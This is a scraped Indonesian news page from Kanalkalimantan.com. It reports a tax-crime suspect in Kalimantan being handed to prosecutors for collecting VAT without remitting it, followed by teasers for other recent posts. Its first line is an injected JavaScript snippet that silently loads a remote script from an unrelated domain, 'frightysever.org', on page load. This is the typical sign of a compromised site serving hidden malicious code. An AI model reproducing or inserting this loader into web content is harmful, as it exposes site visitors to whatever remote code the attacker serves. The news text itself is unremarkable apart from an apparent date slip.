(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tersangka Tindak Pidana Perpajakan Dieksekusi


KANALKALIMANTAN.COM, BANJARMASIN – Penyidik Kantor Wilayah Direktorat Jendral Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng) menyerahkan seorang tersangka dan barang bukti kepada pihak kejaksaan.

Tersangka PGS beserta harta kekayaan yang telah disita terkait tindak pidana bidang perpajakan diserahkan kepada Jaksa di Kejaksaan Negeri (Kejari) Pangkalan Bun, berkas perkara telah dinyatakan lengkap (P-21) oleh Jaksa Penuntut Umum (JPU) Kejaksaan Tinggi (Kejati) Kalimantan Tengah pada tanggal 12 Oktober 2022.

“Ini merupakan hasil dari kerjasama antara DJP dengan Kejaksaan,” kata Kepala Kanwil DJP Kalselteng, Tarmidzi, Kamis (16/2/2022).

Tersangka PGS melalui CV DK diduga telah melakukan tindak pidana di bidang perpajakan yaitu dengan sengaja menyampaikan Surat Pemberitahuan Tahunan (SPT) dan keterangan yang isinya tidak benar atau tidak lengkap, dan tidak menyetorkan pajak yang telah dipotong atau dipungut.

 

Baca juga: Target Tanam Padi 1.020 Hektare Food Estate Dadahup, Mentan SYL: Lahan Paling Siap dan Tersedia Itu di Kalimantan

PGS melakukan tindak pidana pajak tersebut dengan modus, yaitu menerbitkan faktur pajak dan memungut PPN dari lawan transaksi namun tidak menyampaikan SPT Masa PPN bulan Januari sampai Desember tahun 2017 ke KPP Pratama Pangkalan Bun.

Kemudian tersangka tidak menyetorkan pajak berupa PPN ke kas negara sesuai mekanisme peraturan yang berlaku.

Perbuatan tersangka PGS melanggar Pasal 39 ayat (1) huruf c Undang-Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan sebagaimana telah beberapa kali diubah terakhir dengan Undang-Undang nomor 7 tahun 2021 tentang Harmonisasi Peraturan Perpajakan jo pasal 66 KUHP.

Tersangka PGS tidak kooperatif dan tidak memenuhi pemanggilan pertama dan kedua, sehingga Penyidik Pegawai Negeri Sipil (PPNS) Kanwil DJP Kalselteng meminta bantuan penangkapan tersangka kepada Bareskrim Mabes Polri melalui Direktur Penegakan Hukum Direktorat Jenderal Pajakdi Jakarta guna membawa tersangka dari kediamannya di Bogor menuju Pangkalan Bun.

Kepala Kanwil DJP Kalselteng Tarmizi mengatakan, peristiwa ini merupakan penyerahan tersangka pidana perpajakan kedua di awal tahun 2023.

Baca juga: Modus Tipu-tipu Minta Uang Atas Nama Jaksa, Ini Kata Kajari Lamandau

“Ini hendaknya menjadi perhatian dan peringatan kepada para Wajib Pajak agar menjalankan pemenuhan kewajiban perpajakannya menghitung, menyetor, dan melaporkan pajak yang terutang dengan lengkap dan jelas,” tegasnya.

Tarmizi berharap, penegakan hukum yang secara tegas diterapkan pada kasus ini dapat menghasilkan efek jera bagi Wajib Pajak, sebagai peringatan kepada masyarakat lainnya untuk selalu patuh akan peraturan perpajakan.

Pihaknyapun akan terus melakukan kegiatan penegakan hukum untuk memberikan keadilan bagi wajib pajak yang taat pajak. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

2 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

2 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

2 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

6 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

9 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

9 jam ago

This website uses cookies.